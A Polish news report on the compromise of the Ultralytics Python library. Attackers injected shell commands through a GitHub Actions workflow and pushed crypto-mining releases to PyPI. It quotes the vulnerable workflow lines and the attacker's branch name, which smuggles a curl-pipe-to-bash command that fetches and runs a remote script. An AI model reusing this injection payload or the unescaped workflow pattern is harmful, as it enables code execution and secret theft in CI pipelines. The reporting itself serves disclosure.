Atakujący byli w stanie wykonać kod za pomocą obsługi GitHub Actions w repozytorium biblioteki Ultralytics Python, która jest używana do rozwiązywania problemów z komputerowym widzeniem, takich jak wykrywanie obiektów i segmentacja obrazu. Po uzyskaniu dostępu do repozytorium atakujący opublikowali kilka nowych wydań Ultralytics w katalogu PyPI, które zawierały złośliwe zmiany dotyczące wydobywania kryptowalut. W ciągu ostatniego miesiąca biblioteka Ultralytics została pobrana z katalogu PyPI ponad 6.4 miliona razy.
Aby naruszyć bezpieczeństwo repozytorium, wykorzystano lukę w pakiecie ultralytics-actions, który służy do automatycznego uruchamiania procedur obsługi, gdy wykonywane są określone akcje z repozytorium w serwisie GitHub, przy użyciu mechanizmu GitHub Actions. W projekcie ultralytics podatna procedura obsługi była powiązana ze zdarzeniem pull_request_target i była wywoływana, gdy otrzymywano nowe żądania ściągnięcia. W szczególności, aby sformatować kod w wysyłanych żądaniach ściągnięcia, wywoływano procedurę obsługi format.yml i wykonywano kod określony w sekcji „run” pliku action.yml, który zawierał polecenia powłoki ze wzorcami podstawień: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"
W ten sposób nazwa gałęzi Git wymieniona w żądaniu ściągnięcia została podstawiona w poleceniach powłoki bez odpowiedniego ucieczki. Warto zauważyć, że w sierpniu podobna luka związana z użyciem wartości zewnętrznej w funkcji echo została już naprawiona w pakiecie ultralytics-actions: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
Aby zorganizować wykonywanie swojego kodu w kontekście obsługi akcji GitHub, atakujący wysłali żądanie ściągnięcia do repozytorium ultralytics, określając nazwę gałęzi: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
W związku z tym po otrzymaniu żądania ściągnięcia do kodu wstawiono ciąg „$(…)” określony przez atakujących, co po kolejnym uruchomieniu programu obsługi doprowadziło do wykonania kodu „curl -sSfL raw.githubusercontent.com/…/file.sh | bash”.

Uruchamianie kodu w kontekście GitHub Actions może zostać wykorzystane do przechwycenia tokena dostępu do repozytorium i innych poufnych danych. Nie jest jeszcze jasne, w jaki sposób atakującym udało się utworzyć wydanie, uzyskując możliwość wykonania swojego kodu w GitHub Actions, ale zakłada się, że było to możliwe dzięki zmianie w programie obsługi publish.yml (atakujący usunęli sprawdzanie konta, które ma uprawnienia do publikowania wydań w PyPI) i wykorzystaniu techniki zatruwania pamięci podręcznej kompilacji GitHub Actions do podstawienia swoich danych w wydaniu.
Pierwsza złośliwa wersja Ultralytics 8.3.41 została opublikowana przez atakujących w PyPI 4 grudnia o godzinie 23:51 (MSK) i usunięta o godzinie 12:15 następnego dnia. O godzinie 15:47 opublikowano kolejną wersję, 8.3.42, która została usunięta o godzinie 16:47. W rezultacie złośliwe wersje były dostępne do pobrania przez łącznie około 13 godzin (PyPI rejestruje około 250 000 pobrań biblioteki Ultralytics dziennie). Wersje 8.3.41 i 8.3.42 zawierały kod pobrany z zewnętrznego źródła. serwer Komponent XMRig do kopania kryptowalut.
Twórcy projektu naprawili problem i stworzyli wersje naprawcze 8.3.43 i 8.3.44, ale dwa dni później przeprowadzono kolejny atak, podczas którego atakujący opublikowali dziś dwa dodatkowe złośliwe wydania o 04:41 i 05:27 (MSK) - 8.3.45 i 8.3.46, które zawierają inny kod wydobywczy. Do czasu zakończenia dochodzenia użytkownikom zaleca się wstrzymanie się z instalacją nowych wersji i naprawienie wersji 8.3.44 w zależnościach.
Źródło: opennet.ru
